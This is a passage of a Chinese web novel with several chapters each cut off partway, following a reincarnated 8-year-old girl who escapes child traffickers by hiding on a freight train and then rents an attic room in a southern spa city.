天色渐渐亮了，路两侧不太高的林木，树叶已经变得枯黄干脆，满地的落叶随风卷地到处都是。透过林间的空隙，可以看到层层远山，这里的冬天不远了。 中午时分，顶着没什么温度的太阳，大家下车活动一下，干面包就清水将就一顿，很快就再次出发了。没吃早饭的爱洛只是喝了水，勉强咽下几口面包，实在是吃不下，起得早又晕车，长途出行真是受罪。 莉丽丝倒没什么不适应，还添着嘴唇看着她手里剩下的面包问：“爱洛，你这就吃好了？”爱洛明白这句话的意思，就把自己没吃完的半块白面包给递过去，让没吃饱的莉丽丝干掉。 晚上天刚黑，车队到达了第一个宿营小镇：科瓦西镇。这里距离海莱格尔斯镇只有一天的路程，说起来并不远，但很少有萨波尔村的人到过这里。 所以，爱洛和波比勒一家没有像其他人一样，在街上分开去镇里吃饭逛一下什么的，而是跟着车队，直接进到了旅馆的院子。 路边旅馆的布局都差不多。从侧门一进院子，爱洛就看到了西蒙，那个之前被安排提前出发打前站的人，正在和史密斯头碰头的低语着什么。 “迪尔，”安娜喊着史密斯，惊动了两人。西蒙一扭头，看到了进来的爱洛，冲着她微微一笑，嘴里却说：“安娜夫人，我都已经安排好了，今晚的住宿有大房间，男女各一间，晚餐是肉饼和蘑菇汤。” “一路上可太颠簸了，我从来没出过这么远的门。”安娜抱怨道，“好在可以吃点好的。”转头对跟在后面的几人说：“快点一起去放行李吧，小可怜们。” 灰头土脸的爱洛和莉丽丝拉着格蕾丝一块去了西蒙说的大房间。看来花钱是对的，这不，今晚，房间和晚餐不就有了么？ 上到二楼进屋，说是大房间，不过是两张木床并在一起。床尾正对着房门，门后的空间正好用来放行李。对于安娜和三个孩子来说是，用来睡觉是足够了。 盥洗室是公用的，在走廊的底部。进去看了一圈，装着铜制水龙头跟瓷砖面盆，虽然简陋，但还算干净。 乘着这会没人用，爱洛洗了洗手和脸，就赶紧跟着安娜的后面去了一层的餐厅。 累了一天，大家都没什么精神，匆匆吃过晚餐，爱洛有点心事的跟着安娜她们回到了房间。 今天要早点休息，明天还要早起。躺在硬邦邦的床上，爱洛想到刚才吃饭时，史密斯和西蒙总是若有若无的盯着自己，有点不太好的预感。 如果爱洛是个真正的8岁的小女孩，可能根本发现不了。流着汁水的牛肉饼和浓厚的奶油蘑菇汤，是不会让饥饿的孩子转移注意力的。 但有着26岁现代女性灵魂的爱洛依丝·加西亚·泰勒，绝不会忽略那故作不在意的眼神。在被人打量或者评价时，女性纤细的感觉，是一种近乎本能的机警，会被无限放大。 “他们盯着我做什么呢？难道知道我手上还有些钱？一共也没几个先令，还藏了好几处，不仔细算，我自己都摸不清呢。”爱洛想不明白，决定先睡觉。反正到兰敦还有好几天呢，看看再说。 但是，有心事，加上跟好几个人睡一间屋，让这两年一直一个人生活的爱洛翻来覆去的睡不着。 忽然想起来，刚才急忙上楼，都没有来得及去厨房看一下明天路上要喝的水有没有，如果有吃的，也可以补充点。 这可能就是食宿被人安排好的弊端吧。不用跟别人打交道省了麻烦，但脱离环境，有事就只能求助认识的人。。。 额，想到这，爱洛心里一紧，“要不然，去院子里看看水井在哪，万一早起的人多排不上呢。” 翻身下床，披上外套，踩着布鞋，爱洛轻轻的推开门，顺着楼梯拐到院子里。进了院子，看见厨房亮着昏黄的光，还有人在忙活着。就沿着走廊，准备贴着柱子绕到厨房，薄底的布鞋踩在小石子路上，有点硌脚。 月光撒向屋檐，透过停在两侧的马车，形成一团一团明暗的黑影。刚向右走了两步，爱洛看见拐角处拉着长长的人影，一闪一闪的红点是有人在那里吸烟。急忙停下脚步，准备换个方向，从左边的廊下过去。 “你确定，那个小孩能卖那个价格吗？”一个有点熟悉的声音像炸雷一样在爱洛的耳边响起，是史密斯在说话。 “当然了，我是跟管事亲自谈的。你知道的，他们红玫瑰歌舞团能挣大钱，花钱当然痛快。只要看中了，现场交易。”这是西蒙的声音。 他们要卖小孩 7. 女演员 [] 今天到达旅馆的时间比较早，天色还挺亮。车队不紧不慢地拐进了一条小巷，停在一扇有点掉漆的大门口。 这里的建筑明显要比之前停留小镇的旅馆要高大许多，门楣上弧形的“金橡树旅馆”几个字被石刻的树叶徽记包围着，很是气派。 门房听到声音，跑出来打开门，车队依次驶入一个非常大的方形石板院落，其中一半的地方已经停满了各式各样的马车。 载货的，载人的，甚至还有一辆仅有两个座位的无顶马车，纯黑色的云朵型椅背和车轮，配上白色的坐垫，非常显眼，让众人发出惊叹的声音。嗯，这就是这个时代的敞篷跑车吧。 跳下马车，爱洛扫视了一圈院落四周的布局，能够确认他们是从旅馆的后门进来的。 这是一栋中空的四层砖石建筑。后门的两侧是厨房和杂物间，院子里靠后的位置是停车处，靠前的位置与正面的大厅相接，铺着杉木板，形成了一个露天的休憩处，摆着桌椅和鲜花。这会儿都还空着，并没有什么人。 台阶上，史密斯和西蒙走到大厅门口，一个半秃顶，穿着一件肩部带褶衬衣的胖老头正好向外走，一抬眼，露出眯缝的笑容：“我的西蒙兄弟，你可算来了，我还以为你改主意了。” “斯特莱克先生，这么快就遇见你可太好了。我还担心你提前回去呢。”西蒙喜滋滋的说：“我们的人都到了，一起吃饭吧。” “哦，当然了，这顿我请客，我们好好喝两杯。这位就是你们的领队史密斯先生吧。”胖老头不失时机的与史密斯打招呼。 “你好，斯特莱克先生。”史密斯点点头，好像压根不知道他们要一笔买卖要做。 “安顿好了就早点吃饭吧。”史密斯对西蒙说完后，就径直朝里走去。 西蒙和胖老头对视了一眼，后者转身跟着史密斯进去，西蒙则朝着爱洛她们走来。 “安娜夫人，尼克先生，我们今天要早点吃饭，拿上行李快进去吧。”西蒙嘴里说着话，不经意的扫了一眼身后的几个孩子一眼，似乎是在确认爱洛还在不。。。 进了大厅，莉丽丝拉着爱洛直接到餐厅，嘴里还说着：“我们先去看看有什么吃的，可饿坏我了。” 这个旅馆从外边看就不小，餐厅更是宽敞，几乎占据了大厅三分之一的面积，还带着一个长长的胡桃木吧台。 史密斯跟胖老头坐在摆着两杯淡啤酒的吧台一角，正在窃窃私语。 爱洛淡淡地望了史密斯一眼，他们并没有发现爱洛和莉丽丝已经进来了。 莉丽丝这时已经找好了桌子，大声道：“爱洛，我们坐这里，薯条是免费赠送的。” 史密斯闻声，转过头，看见她俩在不远的位置坐下了，脸色微变，挤出一丝笑容，“孩子们，你们先看看有什么想吃的，我马上就过来。” “好的，史密斯叔叔。”莉丽丝欢快地回道。 “也不知道有什么好吃的，我也不认识字。”莉丽丝拿着桌上的菜单翻来覆去的看。 “也许，我能帮忙看看。”感谢泰勒夫妇的付出和前世英语6级的底子，8岁的乡村孤儿爱洛伊丝竟然是认识字的。 同样感谢时空大神的偏爱，让她来到了说英语的地界，才能飞速理解且融入这个时代。 拿着菜单，爱洛的心思却不在这儿：“这两个坏蛋不知道谈的怎么样了，时间地点交接方式，我怎么才能知道呢？要是他们采用暴力绑架的方式，我该跟谁求助呢？” 完全没有头绪，爱洛随意地点了点菜单，说：“就烤鸡肉跟玉米浓汤配面包吧。” 正说着，尼克和安娜带着莫里森和格蕾丝进入大厅，朝她们俩走过来。 胖老头和史密斯一直在低声交谈，也时不时的抬头看看。见波比勒一家到齐了，就艰难地站起身，有点摇晃的端了啤酒走了过来，说道：“啊，我的朋友们，应该尝尝这里的淡啤酒，据说从不兑水。”胖老头一扬手，含糊道：“侍者，再来两杯啤酒。” “我。。我不会喝酒，斯特莱克先生。”莫里森涨红了脸。“哦，小伙子，你会喝酒，从今天开始，我保证。”斯特莱克和史密斯听了，相视大笑。 “听起来，这是谈妥了，这么开心大方。哼，走着瞧。”看着这两个人做作的调节气氛，爱洛暗暗恼怒，却又无能为力。 很快，上菜了，桌上摆的满满的，一眼看去颇为丰盛。 除了之前爱洛点的烤鸡和玉米浓汤以外，斯特莱克还给加了道刷着蜂蜜的烤羊排，泛着金黄的色泽，散发着焦香的味道。 大家也都顾不上说话了，连爱洛都暂时放下了心事，埋头大吃。果然，没有什么事儿是美食治愈不了的。如果有，那就再来一道更好吃的。。。 众人正吃着，西蒙不知道从哪里冒出来，把莫里斯挤到一边去，趴在史密斯身边说了几句话。 史密斯点点头，放下手中的酒杯，擦了擦嘴，轻咳一声，开口道：“诸位，现在我这里就有一个工作机会，不过，并不适合所有人。” “迪尔，快说吧，我们谁合适，一天多少钱？”尼克很着急。 “是这样的，各位，”斯特莱克笑嘻嘻地说：“我是兰敦市红玫瑰歌舞团的人事主管，过去两年，我们歌舞团失去了好几位优秀的演员。因此，团里决定在今年招募新人，名额有限。” 停了一下，斯特莱克见众人一脸的茫然，接着说：“需要7到12岁的女演员，要练习三年才能上台。三年培训期，管吃管住不发工钱。正式演出后有固定收入和浮动奖金。” 尼克和安娜迷茫地对望了一眼，安娜说：“这和我们有什么关系呢？我们是要去做工人的，可当不了什么演员。” 史密斯说：“安娜姐姐，做工人是要16岁以上的，小孩子做工人是很危险的，人 8. 脱身 [] 冰冷的早晨，天边刚透出一丝光，西蒙就来敲门：“安娜夫人，一会儿到餐厅吃完早餐就出发。” 洗漱完毕，爱洛磨蹭着一起下楼时，史密斯跟斯特莱克的早餐已经快吃完了。 “快点来，马上就要出发了。”斯特莱克把装着黄油面包的篮子放到爱洛面前，说：“不能迟到，吃不完就拿着，到车上吃也一样。”催促她快点吃完好出发。 “爱洛，你要照顾好自己。我们会找机会去看你的。”安娜终于想起了什么似的，喃喃地念叨着。 尼克和莫里森像是没听见，只顾拿着面包大吃。莉丽丝有点不知所措，看看爱洛，又看看安娜，终究没说什么。格蕾丝还没睡醒，脑袋一点一点的，根本不知道发生了什么。 “嗯，不用担心，我会过的很好的。”爱洛吃了一个夹着培根的面包后，见斯特莱克已经站起来准备过来拉她的胳膊了，就伸手把剩下的几块面包和香肠搁在一起，拿篮子里的花边垫纸包起来，放进自己随身背着的麻布袋里。 “面包+3，香肠+2，”心里一边计算着，一边还把咖啡壶里的咖啡倒进自己的水囊，嘴里交代着：“马上就好了，斯特莱克先生”，“嗯，没装满，加点牛奶。。。” 斯特莱克实在看不下去了：“火车上会提供咖啡和茶，车票包含有两顿饭的。我们不是坐马车！” “啊，是这样啊，我没见过火车，不知道呢。”爱洛很配合：“好的好的，我们出发吧。”手上却是没停，直到把水囊装满。 “那么，各位，兰敦见。”斯特莱克用手碰了碰自己的帽檐，冲着爱洛说：“跟紧我。外面可是有很多人贩子呢。” “真是贼喊捉贼，切。。”爱洛偷偷翻了个白眼。朝着波比勒们点了点头，无视了他们复杂的神色，没再多看一眼带着自己走出偏远乡村的一家人，跟在斯特莱克身后，上了一辆客运马车。 专门的客运马车内部有两排面对面的座椅，比载货马车的尾部吃灰坐席，条件可是好太多了。 一排三人，已经有两位乘客了。爱洛上车后第一时间找了个靠窗的位置，与斯特莱克隔着一个空座。朝着自己对面的女士微微笑了一下，就扭头看向玻璃窗外。 很快，马车坐满了，听见斯特莱克与其他乘客攀谈起来，爱洛内心鄙视：“一点都不紧张，干这种事是轻车熟路呢。” 车夫在前面敲了敲车厢，提醒大家坐稳了。只听见“哒哒”声越来越快，一阵摇晃中，马车在石板路上跑起来了。 行驶了差不多半小时，拐入一条土路后，马车就放慢速度。本来能够并行两车的路，只有一车宽了，两侧已经被形形色色的路人和来往的车占满了。 地上的尘土飞扬，一片灰蒙蒙，笼罩在嘈杂的街面上，爱洛被颠簸的有点恶心，吐了一口气，心里默念：“快到了，快到了。” 又走了一小会儿，马车停在一栋高大的三层楼前。爱洛推门下车，这是一个不大的石砌广场。 向前望去，五、六级台阶之上，并排的三间双开木门。门开着，不停地有人进出，这是候车室的大门。 台阶下围着很多人，拉货的，拉人的，兜售小商品的，都在拼命的游说进出的乘客们。 “跟在我后面，不要跟别人说话，小爱洛。”斯特莱克嘱咐了一句，拎着自己的小皮箱，拄着一根深色手杖，不紧不慢的穿过广场，根本没有理会身边围着的小贩。 爱洛背着自己的小行李卷，跟在斯特莱克后面，在隔了一人的位置上东张西望。 没走几步，斯特莱克踏上了台阶，此时，正好门内走出一位带着随从，穿着气派的老年男士，后面跟着好几个扛着大行李箱的人。 这位昂着脑袋的男士在下台阶时，众人不约而同的纷纷避让，围在门前的小贩们也急急地向两边散去。 忽的一下子，三、四个避让的人把他们两人隔开，斯特莱克的身影被挡住了。 爱洛感觉到了周围落在她身上的莫名的目光，一咬牙，猫着腰就向着台阶的左侧跑去。 心砰砰直跳，爱洛抿住嘴唇，不停地躲闪着前面的人，一口气跑道台阶的尽头，拐入车站侧面的小路。 这里停着大量的载货马车，人来人往非常混乱。爱洛刚才路过的时候就发现了，这里应该是货场。 仗着个子不高，藏在马车的阴影里，爱洛顺利的混进了车站。 是的，从火车的货场进去，一样能够坐上火车。爱洛虽然拒绝了跟斯特莱克去兰敦，但也不会待在这个地方讨生活。 从史密斯跟斯特莱克远道而来，却住进了小城中心位置的旅馆，就能判断他们在这里的人头很熟悉。之前落脚的小镇，史密斯就只能在小镇外围落脚。 要知道，在任何地方的中心地带，从事非法生意都逃不开地头蛇的眼睛。万一斯特莱克找麻烦，史密斯不甘心，为了挣到那笔钱，要停留几天，发动人手非要找她怎么办？ 爱洛可不敢赌这些人愿意承担这个损失。所以，最好就是今天就离开这里。 那么，自己应该去哪儿呢？ 即使是坏人，有时候一个随手的安排，也会带来不同的效果。史密斯为了达成生意，花大价钱住进了高档的金橡树旅馆，那里设施齐全，业务水平当然没得说，包括提供各种旅游指导手册。 于是，爱洛在餐厅顺到了一张印刷版的帝国地图，就，挺离谱。 爱洛左躲右藏的，溜到了货场的深处，可算是见到了黑沉沉的铁道，内心有点放松，又有点激动。枕木上躺着的铁轨，和现代见过的差别不大，可以看见弯曲交叉的道口，长长的向远处延伸。 右手边不远处，是一个有遮雨棚的站台。紧挨着站台的铁轨上，停着一列黑色的火车，后侧的货车车厢正在装货。再往前，应该就是客车车厢了。上车的人络绎不绝，很多人的后面跟着提行李箱的随从。 “不知道斯特莱克是不是要乘坐这一趟火车？保险起见，还是离远点吧。”爱洛转过头，继续打量着眼前的铁轨。 虽然只有一个站台，但是有两条铁轨，显然，另一条铁轨会经过或者经停不上下客的其他列车。 “另一条铁路线上的车就是我的目标了，”爱洛打定了主意：“这样才能最大程度的跟斯特莱克错开。” 低头弯腰，翻过石子铺成的路基，爱洛朝着铁路的另一边跑去。 对面，离铁路不远处有一大片的光秃秃的树林，枯叶满地。爱洛找到一处凹陷隐蔽，能看见停留火车的地方藏着，等待时机。 坐在地上，爱洛歇了口气，仔细观察周边的环境。这里应该还是属于车站的范围，大片萧索的树林，并没有住户。 地上零散落着烂掉的木条，生锈的铁件之类的遗弃物品， 9. 抵达拜阿斯城 [] “敢拐卖孩子，就让你们人财两空，哼。。”，回想起史密斯那副与斯特莱克打交道时娴熟的样子，爱洛有点得意：“就看那个胖老头找不找你的麻烦，没准还以为我跟你一伙儿的呢，嘻嘻。” 又想到斯特莱克的理所当然，竟然敢让她跟在他身后上车，想必经常干这种事。 万万不会想到，一个从未出过远门的乡下女孩，会有胆子主动从车站这种地方逃跑。肯定觉得，小孩子只会像只小鹌鹑似的跟着他，生怕被丢下吧。 爱洛把行李卷打开，掏出麻布袋子里面的黑面包和那一小块奶酪。温度不高，倒是没有变质。要不然，吃坏肚子可就麻烦大了。这时候能活下来的人，全凭DNA生抗，可没有什么药吃。 吃完这顿午饭，喝了几口早上装的牛奶咖啡，美美地伸了个懒腰，听见车厢外面有锁门的声音，旅途开始了。 跟之前的马车旅程相比较，火车咣当咣当地，没那么颠簸，要舒服一些。 但晚上不能下车，没有床用来睡觉。好在临时搭乘的这节车厢装的货物是厚重的地毯。不能拆开，但裹紧自己所有的衣物，躺在货包上数星星也不太冷。 最主要的是，自己待在一个独立的空间里，不仰仗别人的鼻息的感觉，让爱洛非常的放松。 上厕所是个问题。车厢门是锁着的，所以每次爱洛都要趁着停车的间隙，跟女飞贼一样在堆出车厢高度的货包上跳下爬上，从上面翻出去。 没过两天，身手矫健了许多。爱洛甚至在路过一个不知名车站时，看到了水管，还找机会把自己的水囊装满了。 偶尔会有人看见爱洛，但她不慌不忙的，让别人不好确定她到底是小偷还是乞丐。没等别人反应过来，她就总能在这一列她越来越熟悉的火车上找到藏身之处，躲开盘问。甚至有一次，要不是她速度极快的趴在车轮中间，就被巡查的人捉到了。 就这样，火车一路走，一路停。运气还算好，好几天过去了，这一节车厢始终没有卸货，爱洛对照着站名和自己顺来的地图，慢慢的摸清了方向。 从布莱德市上车，能感觉到气温并没有变冷，甚至白天还晒的慌，这个季节也没下雨。显然，这列火车是从帝国的北方开往南方的。在经过兰敦市时，停了好久，大部分的车厢都被卸空，又装满货物继续行驶。 一开始，爱洛还以为火车又会顺着来时的路线开回去，还有点紧张。后来在某一站停靠时，发现火车开始折向西行。 对照地图的大城市名称和车厢里始终没卸的货物，爱洛猜测，列车会开向西部沿海的温泉城市拜阿斯城。 有游客，有旅馆的地方，才会需要大量精美厚实的地毯。 一遍又一遍的看着印在地图右侧的关于拜阿斯城的简介。虽然字数不多，个别单词还不认识，但信息量很大。怎么看，这里都是个适合自己生存的地方。 当然，主要的原因，还是再怎么节省，吃的东西已经所剩无几了。爱洛这会儿身上空有十几个先令，却没地方补给。 “唉，搭的是节装午餐肉罐头的车就好了，我甚至可以坐着火车环游帝国。额，也不知道现在罐头有没有被发明制造来。。”乘坐火车流浪中的爱洛思维还有点发散。 吃完袋子里的最后一小块面包的时候，火车刚好到达拜阿斯城。爱洛乐观地想：“看来命运注定我将来到这里，要不怎么就没吃的了，正好在这里下车涅~~” 远远的看到大城市的轮廓，爱洛就把自己的零碎收拾好，绑在身上。又把头发扎成个马尾挽住，再拉紧了脑袋上的布帽。车一停稳，踩着货包就翻出了车厢。 躲着前来卸货的工人们，爱洛先沿着铁轨往前走。经过月台正面出站是不可能的。好在所有的铁路都是开放式的，只要走出去一段路，就能直接进入城市。 果然，走了一小会儿，铁轨的两侧就逐渐出现了低矮的房屋。爱洛心中一喜，这周边肯定是四通八达的。没停下脚步，又走了几十步，找了条一人宽的房屋间隙，闪了进去。 火车到达的时候是上午，阳光正好。爱洛顺着两间房子之间的小路，一直向前。拐来拐去，越走越宽，很快就来到一条能容下一辆马车通过的石板路上。 路的两侧是带石头门柱的两、三层楼，灰色石墙上挂着的藤本植物尚未凋谢，门前的台阶两侧摆着依然盛开的花花草草。 路人大多穿着轻薄的外套，行色匆匆。偶尔经过的马车，也都是载着人或货急驶而过。 美好的环境，对人的影响有非常大。经历了好多天的灰头土脸，这座生机勃勃的城市，让爱洛没来由的振奋。不见初冬的萧索，满目的苍翠鲜嫩。旅游城市，不分时代，主打一个环境优美。 沿着石板路向前，在经过一个小吃摊时，爱洛被锅里的香味吸引的走不动了。 这是一种带棚的小车摊位，一头摆着炸好的鸡块和土豆，一头放着平底煎锅。正在忙着制作食物的摊主也不忘招呼：“最好吃的炸鸡腿，您要一份吗，只要1便士。” 爱洛忍不住了，连续几天，只能啃面包充饥让她的味蕾糟了大罪，勾人的油炸蛋白质气味让她暂时忘却了艰难的当下。拿出身上唯一的一枚1便士零钱，递过去，说：“我要一份”。反正就这一枚零钱，花完就踏实了。 “好的，放心吧，我的炸鸡腿是这条街上味道最好的。”摊主接过钱回答到。 “请问附近有哪里有能喝的清水呢？”爱洛问。 “哦，顺着这条街一直往前走，拐角处就是公共水井，那里的水可以直接喝的。”摊主头也不抬，把刚炸好的鸡腿块放进一只小纸袋里，淋上酱汁和一小搓不知名的干调料，递给爱洛。 看着纸袋里金黄酥脆的鸡块，上面盖着红红的辣酱，闻着特有的香味，爱洛咽了咽口水，没有直接吃，而是向拐角处的水井走去。 虽然肚 10. 租房 [] 看到妇人要把拎上来的满满一桶水倒入盆中，爱洛很有眼色的走过去搭把手，抬头对妇人说着：“婶婶，我是出来做工的。城里看起来很富庶，日子过的都很好啊。”爱洛强行展开话题。 “哈哈，贵族老爷们才富，日子过的好。我们普通人家都只是勉强生活罢了，顶多饿不着。”妇人听到爱洛的话，不由的乐了：“你是跟谁来的？怎么就你自己呢？” “额，我是跟着邻居婶婶一家出门的。本来要去兰敦，结果火车坐过头了，就到了这里。”说着半真半假的话，爱洛还有点不好意思。 “那你是一个人了？”妇人有点严肃地问她。 “嗯，”爱洛点点头，不知道自己的话哪里说的不对。 “孩子，我不确定你说的是怎么回事。但是你不能随便就跟人说你一个人出远门找活干。”妇人好心地提醒她。 “我知道的。我只是觉得，在家附近打水干活的人，不像是坏人。就是想问一下有没有房子租给我，我可以先付一点点定金，等找到工作就能负担的起了。”爱洛也是很谨慎地透露自己并没有多少钱的现状。 “我看这孩子倒也实在，贝林家的阁楼不是要出租么？”旁边一位年龄比较大的大婶接口道。 “嗯，”妇人沉吟了一下，“贝林婶婶家的阁楼倒是空着，但是，就这么一个小女孩自己出来租房做工。。。”妇人总觉得不太合适。 “你想那么多干什么，我们又不会害人。介绍房子给一个小女孩，没准对她还是好事呢。”刚才说话的大婶感觉被反驳了，语气有点不太好。 “哎呀，金恩婶婶，我只是不确定这个孩子会不会有麻烦。”妇人的戒心挺重。 “你就放心吧，在我们石匠街租房子，会有什么麻烦？” “哈哈，那倒是，谁也不能到这儿来撒野。”旁边几个竖起耳朵听她们说话的洗衣妇人嘻嘻哈哈大笑起来，言语间颇为自豪。 “行，我洗完衣服了，那就先带她去看看好了。”妇人很爽快，决定听从大家的建议就毫不迟疑，立马行动。 三两下把洗好拧干的衣服放进木桶，再把木桶放在盆里，顶在自己的腰上。一只手扶着，一只手去牵小姑娘塞拉，扭头对爱洛说：“跟我来吧。” 看着妇人这行云流水般的动作，展现出了大力士实力，爱洛有点回不过神来，“好的。” 赶紧把自己的行李卷背好，跟在妇人的身后，向着小街的深处走去。 “婶婶，我怎么称呼你呀？”爱洛没话找话。 “我叫温切尔。”妇人回答：“我带你去贝林婶婶家看看，她家的阁楼上周空出来了。” “好的，温切尔婶婶。” 爱洛跟着没走一会儿，就来到一座小巧的三层楼前。 这种临街的房子，规制大小都差不多，但这家的外墙颜色明显要暗沉一些。三角型的屋顶有些破旧，木窗已经看不出来原有的漆色，只剩下灰色的窗框和遮挡的木板。墙体的石材很厚实，边角处都是磕碰的痕迹。 “贝林婶婶，你在家吗？”温切尔站在门口大声喊道。 “在的，进来吧。”一个略微苍老的声音响起。 温切尔把木盆放在门口的石阶上，牵着塞拉，示意爱洛跟上，就上前推开了房门。 “嘎吱”一声，爱洛跟在温切尔的身后走进了小楼。进门处铺着一张小小的海蓝色地毯，有点温馨。 抬眼望去，跟外部看起来有些破败的印象不同，屋子里面干净整洁，还有一股淡淡的咖啡香味。 房间有200多平方英尺，在门口就能能透过窗户，看到院子里依然绽放的花树。左手边有一道窄窄的木梯，通往楼上。 往里走，右手边有一个开敞壁炉，铁制的壁炉台上放着一把绿色的咖啡壶，正借着没燃尽的柴火余温咕嘟咕嘟的冒着热气。 壁炉的一侧，放了一张褐色半旧粗布双人沙发。沙发对面靠墙的位置，是一张单人靠椅。椅子上坐着一个花白头发，穿着深栗色上衣的老妇人。腿上搭着拖地的花色羊毛毯，手里拿着钩针在织着一片围巾。 见到温切尔进来，手里还拉着塞拉。老妇人笑的眼角的皱纹愈发明显，“我的塞拉小宝贝，快到贝林奶奶这里来。看看我们有什么好吃的。”又急忙起身，要去拿柜子上摆着的铁盒。 “贝林婶婶，快别忙活了。我带了个租房子的小女孩，是在街口的井边碰见的。她一个人来拜阿斯找活干。”温切尔拦着贝林，两三句话就提及来意。 贝林坚持把铁盒拿下来，掏出里面的坚果，剥开几个递给塞拉，对还站在一旁的两人说：“先坐啊。”又把铁盒塞给温切尔，让她也拿着吃。 然后，坐回靠椅上，微笑着看到有些僵直地坐在对面沙发上的爱洛，问到：“好孩子，你叫什么名字，从哪里来的？这么小的年纪，怎么就一个人出来做工啊？” 啊，你是谁，你从哪里来，你要到哪里去？ 瞧瞧，这无处不在的灵魂之问！ “贝林女士，你好。我叫爱洛依丝·加西亚·泰勒。是从北部施塔特郡的海莱格尔斯镇来的。因为。。嗯，前两年的黑死病，半个村子的人都没了，所以出门找活干。因为邻居一家走散了，才来到了这里。”爱洛口齿清楚的回答贝林的问题。 她知道，一个小女孩单独出来租房，并不是常见的事情。如果说不清来历，只怕正经的人家是不会租给她房子的。错过了这个看起来非常靠谱的机会，她要在短期内找到落脚点的难度就加倍了。 即是安全问题，也是生存问题。 “哦，”贝林停顿了一下，开口问道：“那你有没有亲戚在这里呢？你又能做什么活计呢？” 见贝林依然是对她的来历和生存能力存疑，爱洛就放下行李，拿出了一个扁扁的厚纸袋。这是出发的前一晚在自家的床板下找到的。里面有艾登和琳达的结婚文件，自己的出生证明，以及现在已经完全不值钱的房契和地契。 把袋子递给贝林，爱洛说：“这是我的身份文件，贝林女士。我 11. 落脚 [] 美滋滋地摊开行李，看着破洞的布鞋和仅有的一条薄床单，爱洛心里计划着：需要被子、床垫、枕头、鞋、衣服、盆。。。 费了半天劲，把藏在身上的钱全部取出来，数出5个先令搁在床上，这是房租和买生活必需品的预算。再把剩下的12个先令分别藏在了一截房梁的凹槽和床背后的木板缝隙里。 整理了一下衣裙，装好要预备要花掉的硬币，把剩下的鸡块两口吃完。喝光水，拿着自己已经空了的水囊下了楼。 回到一楼，贝林依旧坐在客厅里勾着围巾。爱洛看了看墙上的挂钟，这会已经上午10点多了。 阳光正好洒在壁炉边的贝林身上，浮尘带着金色飞舞，身影有些朦胧。 “贝林女士，我收拾好了。”爱洛张口说道。 “好的，坐吧。”贝林放下手里的活计，起身走向楼梯下的高柜，拿出一个皮面本和一支笔。打开本子，从里面取出来两张折叠起来的信纸，递给爱洛。 信纸上的字迹很工整，是写好的租赁协议，内容是双方关于价格，押金，损坏赔偿以及退租的约定，非常简单。 爱洛很快看完，趴在窗下的餐桌上，签下自己的全名。然后抬头看着站在一边的贝林，有点不好意思的笑了。 贝林可能也觉得跟这么个小孩子弄这么正式的协议有点好笑，神色诙谐的说：“既然你说识字，就要给我证明一下嘛。” 说完，也签下自己的名字，还把其中一张合同仔细的折好之后递给爱洛。 “嘿嘿，那个，我想要买点必需品，要去哪里买呢。”爱洛收好合同，把1个先令放在桌子上，“这周的租金和押金。” 贝林收起桌上的硬币，对爱洛说：“我先带你去仓库看看，又一些闲置的物品。你可以先找找看，有没有需要的，不够的再去隔壁的杂货街买吧。” “那可真是太棒了。”爱洛有点喜出望外，声音都高了。毕竟，她是一个所有身家只有16先令的无业游民。在找到活干之前，能省一点是一点。 贝林笑了，说道：“我的仓库里可是有很多好东西，小爱洛，你可要睁大眼睛了。” “是寻宝吗？”爱洛更开心了。 “哈哈，你猜猜看。”贝林推开了连接后院的方格玻璃门走了出去。 楼后是一小块石板空地，空地前有个小花园，不知名的黄色小碎花零星开着，靠墙还有一颗高大的花树，夏季的时候一定是个阴凉的好地方。 右手边挨着房子的窗外，有条窄窄的小厨房，厨房门口还堆着一小捆柴火。长方形的院子底部有一溜小屋，那里应该就是仓库和洗漱间了。 果然，爱洛跟在贝林身后，顺着厨房门口的小石阶，直接走到底部的一间小屋门口。 贝林取下别在门上的锁扣，打开仓库的门，一股陈年的味道铺面而来：“很久没有进去了，你自己找找用得上的东西吧。我先去做午饭了。” 爱洛踩着满地的灰尘，进了仓库，里面堆着各种家具和包裹，满满当当的。 翻翻捡捡，爱洛找到了卷起来的棕榈针床垫，一张地毯，一大包不是窗帘就是床单布品。 又在家具堆里爬上爬下，找出来一只小凳子，一支小木桶。还从角落里搬出来一个入户柜和一张不大的圆桌。 这样，生活中最基本的硬件需求就解决了。 把这些东西拖到门口，爱洛已经是一头一脸的灰和汗。使劲拍打掉身上的灰尘，舀了凉水洗了手脸，贝林就已经做好了午饭。 一人一份煎土豆泥配香肠，两片面包，还有一碗蔬菜汤。 “真是太美味了。”坐在餐桌前，爱洛对贝林赞道。 “快吃吧，小爱洛。”贝林笑咪咪的回应她。 一点都不客气，爱洛风卷残云的把自己两片面包和土豆泥香肠吃完，但胃就像无底洞，一点也没吃饱。 只是，在火车上的这几天都是一天只吃一顿饭。所以，今天也根本不敢一下子吃的太饱。爱洛就一勺一勺的喝着蔬菜汤，试图压住依然叫嚣的饥饿感。 贝林不紧不慢的吃着香肠，还有空跟爱洛闲聊：“东西找好了？” “是的，找到了床垫和窗帘，不过都需要清洗一下。”爱洛回答道。 “嗯，那你可以去找温切尔，她平时有空也会收衣服洗的。出门往左，她家离这里只隔了两栋房子。” “那，我吃完饭就去找温切尔婶婶。嗯，还要添置点东西。” 贝林看了爱洛一眼，似乎有点惊讶她还想着添置东西，只是说：“隔壁街就有卖的，新旧都有。你要看好了，报这里的地址，可以便宜点。” “好的。”爱洛欣然接受贝林的好意。 “我来洗盘子。”见贝林喝完最后一口汤，爱洛手脚麻利的收拾桌子，把两人用过的碗和盘子拿到厨房清洗。 贝林没有拒绝，只是站在她身后，指点她餐盘该放的位置。 洗完擦干手，爱洛回到楼上，放好租赁合同。把路上用过脏兮兮的衣物一股脑拿下楼，和从仓库挑出来的那包纺织物堆在一起。 “我去找温切尔婶婶来帮忙了。”爱洛跟贝林打了声招呼，出门了。 没走几步路，爱洛就来到温切尔家门口。离得确实非常近，爱洛甚至怀疑，自己要是站在阁楼上，没准都能看到她家的院子。 温切尔家的房子是和贝林家差不多的房屋形制，只看起来要新一些。门窗上的漆是很鲜艳的湖蓝色，不难看出，家里有人经常给房子做维护。 站在石阶上，爱洛就能听见塞拉叽叽喳喳的声音，她正在词不达意的描述今天遇见陌生人的事情。 “温切尔婶婶，你在家吗？”爱洛高声问。 “在家，是谁啊？”门开了，温切尔穿了件砖红色罩衣，探出头问。 “是我啊，爱洛伊丝。吃过饭了吗，我有点事情想请你帮忙。” “是小爱洛啊。我吃完饭了，快进来吧。”温切尔认出了爱洛，笑着招呼。 